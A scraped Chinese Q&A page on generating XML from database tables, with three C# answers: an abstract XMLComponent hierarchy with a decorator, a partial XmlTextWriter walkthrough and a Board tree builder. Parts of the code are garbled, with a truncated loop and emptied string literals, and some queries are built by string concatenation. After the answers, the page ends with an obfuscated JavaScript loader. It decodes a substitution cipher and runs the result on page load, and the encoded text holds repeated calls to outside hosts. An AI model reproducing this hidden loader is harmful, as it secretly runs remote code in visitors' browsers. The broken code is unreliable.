如何从数据库表中生成xml文件?

2025-02-16 15:46:00
推荐回答(3个)
回答1:

读XML的速度没有读数据库快
下面的是discuz中的的方法,你看看行不行
public abstract class XMLComponent
{
//源数据表
private DataTable sourceDT = null;
public DataTable SourceDataTable
{
set{sourceDT = value;}
get{return sourceDT;}
}

//文件输出路径
private string fileOutputPath = @"";
public string FileOutPath
{
set
{ //保证路径字符串变量的合法性
if (value.LastIndexOf("\\") != (value.Length-1))
fileOutputPath = value + "\\";
}
get{return fileOutputPath;}
}

//文件编码
private string fileEncode = "utf-8";
public string FileEncode
{
set{fileEncode = value;}
get{return fileEncode;}
}

//文件缩进
private int indentation = 6;
public int Indentation
{
set{indentation = value;}
get{return indentation;}
}

//文件缩进
private string version = "2.0";
public string Version
{
set{version = value;}
get{return version;}
}

//开始元素
private string startElement = "channel";
public string StartElement
{
set{startElement = value;}
get{return startElement;}
}

//XSL链接
private string xslLink = null;
public string XslLink
{
set{xslLink = value;}
get{return xslLink;}
}

//文件名
private string fileName = "MyFile.xml";
public string FileName
{
set{fileName = value;}
get{return fileName;}
}

//表中指向父记录的字段名称
private string parentField = "Item";
public string ParentField
{
set{parentField = value;}
get{return parentField;}
}

//表中一个主键的值
private string key = "ItemID";
public string Key
{
set{key = value;}
get{return key;}
}

//写入文件
public abstract string WriteFile();

//写入StringBuilder对象
public abstract StringBuilder WriteStringBuilder();

public XmlDocument xmlDoc_Metone = new XmlDocument();

#region 构XML树
protected void BulidXmlTree(XmlElement tempXmlElement,string location)
{

DataRow tempRow = this.SourceDataTable.Select(this.Key + "=" + location)[0];
//生成Tree节点
XmlElement treeElement = xmlDoc_Metone.CreateElement(this.ParentField);
tempXmlElement.AppendChild(treeElement);

foreach(DataColumn c in this.SourceDataTable.Columns) //依次找出当前记录的所有列属性
{
if ((c.Caption.ToString().ToLower() != this.ParentField.ToLower()))
this.AppendChildElement(c.Caption.ToString().Trim().ToLower(),tempRow[c.Caption.Trim()].ToString().Trim(),treeElement);
}

foreach (DataRow dr in this.SourceDataTable.Select(this.ParentField + "=" + location))
{
if(this.SourceDataTable.Select("item=" + dr[this.Key].ToString()).Length >= 0)
{
this.BulidXmlTree(treeElement,dr[this.Key].ToString().Trim());
}
else continue;
}

}
#endregion

#region 追加子节点
///


/// 追加子节点
///

/// 节点名字
/// 节点内容
/// 父节点
/// XmlDocument对象
protected void AppendChildElement(string strName , string strInnerText , XmlElement parentElement, XmlDocument xmlDocument )
{
XmlElement xmlElement = xmlDocument.CreateElement(strName) ;
xmlElement.InnerText = strInnerText ;
parentElement.AppendChild(xmlElement);
}

///
/// 使用默认的频道Xml文档
///

///
///
///
protected void AppendChildElement(string strName , string strInnerText , XmlElement parentElement )
{
AppendChildElement(strName,strInnerText,parentElement,xmlDoc_Metone);
}
#endregion

#region 创建存储生成XML的文件夹
public void CreatePath()
{
if (this.FileOutPath != null)
{
string path = this.FileOutPath; //;Server.MapPath("");
if (!Directory.Exists(path))
{
Utils.CreateDir(path);
}
}
else
{
string path = @"C:\"; //;Server.MapPath("");
string NowString = DateTime.Now.ToString("yyyy-M").Trim();
if (!Directory.Exists(path + NowString))
{
Utils.CreateDir(path + "\\" + NowString);
}
}
}

#endregion
}

//无递归直接生成XML
class ConcreteComponent : XMLComponent
{
private string strName;
public ConcreteComponent(string s)
{
strName = s;
}

//写入StringBuilder对象
public override StringBuilder WriteStringBuilder()
{
//string xmlData = string.Format("<{3} version='{2}'>",this.FileEncode,this.XslLink,this.Version,this.SourceDataTable.TableName);
string xmlData = string.Format("<{3} >",this.FileEncode,this.XslLink,this.Version,this.SourceDataTable.TableName);

this.xmlDoc_Metone.Load(new StringReader(xmlData));
//写入channel
foreach(DataRow r in this.SourceDataTable.Rows) //依次取出所有行
{
//普通方式生成XML
XmlElement treeContentElement = this.xmlDoc_Metone.CreateElement(this.StartElement);
xmlDoc_Metone.DocumentElement.AppendChild(treeContentElement);

foreach(DataColumn c in this.SourceDataTable.Columns) //依次找出当前记录的所有列属性
{
this.AppendChildElement(c.Caption.ToString().ToLower(),r[c].ToString().Trim(),treeContentElement);
}

}

return new StringBuilder().Append(xmlDoc_Metone.InnerXml);
}

public override string WriteFile()
{

if (this.SourceDataTable != null)
{

DateTime filenamedate = DateTime.Now;

string filename = this.FileOutPath + this.FileName;
XmlTextWriter PicXmlWriter = null;
Encoding encode = Encoding.GetEncoding(this.FileEncode);
CreatePath();
PicXmlWriter = new XmlTextWriter (filename,encode);

try
{

PicXmlWriter.Formatting = Formatting.Indented;
PicXmlWriter.Indentation = this.Indentation;
PicXmlWriter.Namespaces = false;
PicXmlWriter.WriteStartDocument();
//PicXmlWriter.WriteDocType("文档类型", null, ".xml", null);
//PicXmlWriter.WriteComment("按在数据库中记录的ID进行记录读写");
PicXmlWriter.WriteProcessingInstruction("xml-stylesheet","type='text/xsl' href='" + this.XslLink + "'") ;

PicXmlWriter.WriteStartElement(this.SourceDataTable.TableName);
PicXmlWriter.WriteAttributeString("", "version", null, this.Version);

//写入channel
foreach(DataRow r in this.SourceDataTable.Rows) //依次取出所有行
{
PicXmlWriter.WriteStartElement("",this.StartElement,"");
foreach(DataColumn c in this.SourceDataTable.Columns) //依次找出当前记录的所有列属性
{
PicXmlWriter.WriteStartElement("",c.Caption.ToString().Trim().ToLower(),"");
PicXmlWriter.WriteString(r[c].ToString().Trim());
PicXmlWriter.WriteEndElement();
}
PicXmlWriter.WriteEndElement();
}

PicXmlWriter.WriteEndElement();
PicXmlWriter.Flush();
this.SourceDataTable.Dispose();
}
catch (Exception e) { Console.WriteLine ("异常:{0}", e.ToString()); }
finally
{
Console.WriteLine("对文件 {0} 的处理已完成。");
if (PicXmlWriter != null)
PicXmlWriter.Close();

}
return filename;
}
else
{
Console.WriteLine("对文件 {0} 的处理未完成。");
return "";
}
}

}

//无递归直接生成XML
public class TreeNodeComponent : XMLComponent
{
private string strName;
public TreeNodeComponent(string s)
{
strName = s;
}

//写入StringBuilder对象
public override StringBuilder WriteStringBuilder()
{
//string xmlData = string.Format("<{3} version='{2}'>",this.FileEncode,this.XslLink,this.Version,this.SourceDataTable.TableName);
string xmlData = string.Format("<{3} >",this.FileEncode,this.XslLink,this.Version,this.SourceDataTable.TableName);

this.xmlDoc_Metone.Load(new StringReader(xmlData));
//写入channel
foreach(DataRow r in this.SourceDataTable.Rows) //依次取出所有行
{
//普通方式生成XML
XmlElement treeContentElement = this.xmlDoc_Metone.CreateElement(this.StartElement);
xmlDoc_Metone.DocumentElement.AppendChild(treeContentElement);

foreach(DataColumn c in this.SourceDataTable.Columns) //依次找出当前记录的所有列属性
{
this.AppendChildElement(c.Caption.ToString().ToLower(),r[c].ToString().Trim(),treeContentElement);
}

}

return new StringBuilder().Append(xmlDoc_Metone.InnerXml);
}

public override string WriteFile()
{

if (this.SourceDataTable != null)
{

DateTime filenamedate = DateTime.Now;

string filename = this.FileOutPath + this.FileName;
XmlTextWriter PicXmlWriter = null;
Encoding encode = Encoding.GetEncoding(this.FileEncode);
CreatePath();
PicXmlWriter = new XmlTextWriter (filename,encode);

try
{

PicXmlWriter.Formatting = Formatting.Indented;
PicXmlWriter.Indentation = this.Indentation;
PicXmlWriter.Namespaces = false;
PicXmlWriter.WriteStartDocument();
//PicXmlWriter.WriteDocType("文档类型", null, ".xml", null);
//PicXmlWriter.WriteComment("按在数据库中记录的ID进行记录读写");

PicXmlWriter.WriteStartElement(this.SourceDataTable.TableName);

string content = null;

//写入channel
foreach(DataRow r in this.SourceDataTable.Rows) //依次取出所有行
{

content = " Text=\"" + r[0].ToString().Trim() + "\" ImageUrl=\"../../editor/images/smilies/" + r[1].ToString().Trim() + "\"";

PicXmlWriter.WriteStartElement("",this.StartElement+content,"");

PicXmlWriter.WriteEndElement();
content = null;
}

PicXmlWriter.WriteEndElement();
PicXmlWriter.Flush();
this.SourceDataTable.Dispose();
}
catch (Exception e)
{
Console.WriteLine ("异常:{0}", e.ToString());
}
finally
{
Console.WriteLine("对文件 {0} 的处理已完成。");
if (PicXmlWriter != null)
PicXmlWriter.Close();

}
return filename;
}
else
{
Console.WriteLine("对文件 {0} 的处理未完成。");
return "";
}
}

}

//RSS生成
public class RssXMLComponent : XMLComponent
{
private string strName;

public RssXMLComponent(string s)
{
strName = s;
FileEncode ="gb2312";
Version = "2.0";
StartElement = "channel";

}

//写入StringBuilder对象
public override StringBuilder WriteStringBuilder()
{
string xmlData = string.Format("",this.FileEncode,this.XslLink,this.Version);
this.xmlDoc_Metone.Load(new StringReader(xmlData));
string Key = "-1";
//写入channel
foreach(DataRow r in this.SourceDataTable.Rows) //依次取出所有行
{
if ((this.Key != null) && (this.ParentField != null)) //递归进行XML生成
{
if ((r[this.ParentField].ToString().Trim() == "")||(r[this.ParentField].ToString().Trim() == "0"))
{
XmlElement treeContentElement = this.xmlDoc_Metone.CreateElement(this.StartElement);
xmlDoc_Metone.DocumentElement.AppendChild(treeContentElement);

foreach(DataColumn c in this.SourceDataTable.Columns) //依次找出当前记录的所有列属性
{
if ((c.Caption.ToString().ToLower() == this.ParentField.ToLower()))
{
Key = r[this.Key].ToString().Trim();
}
else
{
if ((r[this.ParentField].ToString().Trim() == "")||(r[this.ParentField].ToString().Trim() == "0"))
{
this.AppendChildElement(c.Caption.ToString().ToLower(),r[c].ToString().Trim(),treeContentElement);
}
}
}

foreach(DataRow dr in this.SourceDataTable.Select(this.ParentField + "=" + Key))
{
if(this.SourceDataTable.Select(this.ParentField + "=" + dr[this.Key].ToString()).Length >= 0)
this.BulidXmlTree(treeContentElement,dr["ItemID"].ToString().Trim());
else
continue;
}
}
}
else //普通方式生成XML
{

XmlElement treeContentElement = this.xmlDoc_Metone.CreateElement(this.StartElement);
xmlDoc_Metone.DocumentElement.AppendChild(treeContentElement);

foreach(DataColumn c in this.SourceDataTable.Columns) //依次找出当前记录的所有列属性
{
this.AppendChildElement(c.Caption.ToString().ToLower(),r[c].ToString().Trim(),treeContentElement);
}
}
}

return new StringBuilder().Append(xmlDoc_Metone.InnerXml);
}

public override string WriteFile()
{

CreatePath();
string xmlData = string.Format("",this.FileEncode,this.XslLink,this.Version);
this.xmlDoc_Metone.Load(new StringReader(xmlData));
string Key = "-1";
//写入channel
foreach(DataRow r in this.SourceDataTable.Rows) //依次取出所有行
{
if ((this.Key != null)&&(this.ParentField != null)) //递归进行XML生成
{
if ((r[this.ParentField].ToString().Trim() == "")||(r[this.ParentField].ToString().Trim() == "0"))
{
XmlElement treeContentElement = this.xmlDoc_Metone.CreateElement(this.StartElement);
xmlDoc_Metone.DocumentElement.AppendChild(treeContentElement);

foreach(DataColumn c in this.SourceDataTable.Columns) //依次找出当前记录的所有列属性
{
if ((c.Caption.ToString().ToLower() == this.ParentField.ToLower()))
Key = r[this.Key].ToString().Trim();
else
{
if ((r[this.ParentField].ToString().Trim() == "")||(r[this.ParentField].ToString().Trim() == "0"))
{
this.AppendChildElement(c.Caption.ToString().ToLower(),r[c].ToString().Trim(),treeContentElement);
}
}
}

foreach(DataRow dr in this.SourceDataTable.Select(this.ParentField + "=" + Key))
{
if(this.SourceDataTable.Select(this.ParentField + "=" + dr[this.Key].ToString()).Length >= 0)
this.BulidXmlTree(treeContentElement,dr["ItemID"].ToString().Trim());
else
continue;
}
}
}
else //普通方式生成XML
{

XmlElement treeContentElement = this.xmlDoc_Metone.CreateElement(this.StartElement);
xmlDoc_Metone.DocumentElement.AppendChild(treeContentElement);

foreach(DataColumn c in this.SourceDataTable.Columns) //依次找出当前记录的所有列属性
{
this.AppendChildElement(c.Caption.ToString().ToLower(),r[c].ToString().Trim(),treeContentElement);
}
}

}
string fileName = this.FileOutPath+this.FileName;
xmlDoc_Metone.Save(fileName);

return fileName;

}

}

//装饰器类
public class XMLDecorator : XMLComponent
{
protected XMLComponent ActualXMLComponent;

private string strDecoratorName;
public XMLDecorator (string str)
{
// how decoration occurs is localized inside this decorator
// For this demo, we simply print a decorator name
strDecoratorName = str;
}

public void SetXMLComponent(XMLComponent xc)
{
ActualXMLComponent = xc;
//Console.WriteLine("FileEncode - {0}", xc.FileEncode);
GetSettingFromComponent( xc);
}

//将被装入的对象的默认设置为当前装饰者的初始值
public void GetSettingFromComponent(XMLComponent xc)
{
this.FileEncode = xc.FileEncode;
this.FileOutPath = xc.FileOutPath;
this.Indentation = xc.Indentation;
this.SourceDataTable = xc.SourceDataTable;
this.StartElement = xc.StartElement;
this.Version = xc.Version;
this.XslLink = xc.XslLink;
this.Key = xc.Key;
this.ParentField = xc.ParentField;
}

public override string WriteFile()
{
if (ActualXMLComponent != null)
ActualXMLComponent.WriteFile();

return null;
}

//写入StringBuilder对象
public override StringBuilder WriteStringBuilder()
{
if (ActualXMLComponent != null)
return ActualXMLComponent.WriteStringBuilder();

return null;
}
}

回答2:

对于楼主这个问题,如果还是多重节点的话会很麻烦.
首先从最基本的开始吧:
using System.Xml;
引入Xml命名空间,
然后建立一个XML文档.
XmlTextWriter writer = new XmlTextWriter("tree.xml", System.Text.Encoding.UTF8);
建立根节点:
writer.WriteStartDocument();
writer.WriteStartElement("tree");
writer.WriteEndElement();
writer.WriteEndDocument();
这样就建立了根节点.
接着开始读数据,首先提取节点字段为最高层的所有记录.并填充到数据集中,然后用循环
writer.WriteStartDocument();
writer.WriteStartElement("tree");
for(int r=0;r{
//在这里面添加的子节点
writer.WriteStartElement(ds.Tables[0].Row[r][节点名称].ToString());
writer.WriteStartString(节点元素标签中间的文字);
writer.WriteEndElement();
}
writer.WriteEndElement();
writer.WriteEndDocument();

以上就可以写出第一层节点的内容了.
然后依次提取第二层的,注意是属于哪一个父节点的第二层,就添至哪个节点下.
添至某个节点下的新节点的方法
XmlDocument document = new XmlDocument();
document.Load("tree.xml");
XmlNodeList list= document.GetElementsByTagName(节点名称);
获得为此标签名的节点集合.
然后建立一个XmlNode对象,用list.AppendChildNode()方法增加这个子XmlNode.
这个子XmlNode就是子节点...
具体的方法暂时我也不太清楚了,不好意思.只能奉献这么多了...
这乱就乱在每个子节点都要去判断是第几层节点,父节点是谁,如果节点层次太深,弄个4,5层的还好,再搞个节点数量是动态添加的...
估计累死我也弄不出来了,不知道有没高人有更好的办法.

回答3:

public class Board
{
private XmlDocument domNav = new XmlDocument();
private XmlNode root;
public Board()
{
domNav.LoadXml("");
root = domNav.DocumentElement;
}
public string GetXMLString(int boardId)
{
if (boardId < 0)
boardId = 0;
SqlParameter[] prams = { DBAdapter.MakeInParam("@SubRootID", SqlDbType.Int, 4, boardId) };
DataSet ds = null;
DBAdapter.RunProc("F_GetBoardTree", prams, out ds);
foreach (DataRow myRow in ds.Tables[0].Rows)
{
AppendNode(myRow["ParentID"].ToString(), myRow["BoardID"].ToString(),
myRow["BoardName"].ToString(), myRow["Logo"].ToString());
}
return domNav.OuterXml;
}
void AppendNode(string parentId, string boardId, string boardName, string logo)
{
if (parentId == "0")
{
XmlElement newE = domNav.CreateElement(null, "Entity", null);
newE.InnerXml = "" + boardName + ""
+ "" + logo + ""
+ "";
newE.SetAttribute("id", null, "1");
domNav.DocumentElement.AppendChild(newE);
return;
}
else
{
XmlNode targNode = domNav.DocumentElement.SelectSingleNode("//*[@id=" + parentId + "]");
if (targNode != null)
{
targNode = targNode.ChildNodes[2];
XmlElement newE = domNav.CreateElement(null, "Entity", null);
newE.InnerXml = "" + boardName + ""
+ "" + logo + ""
+ "";
newE.SetAttribute("id", null, boardId);
targNode.AppendChild(newE);
return;
}
}
return;
}
}

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();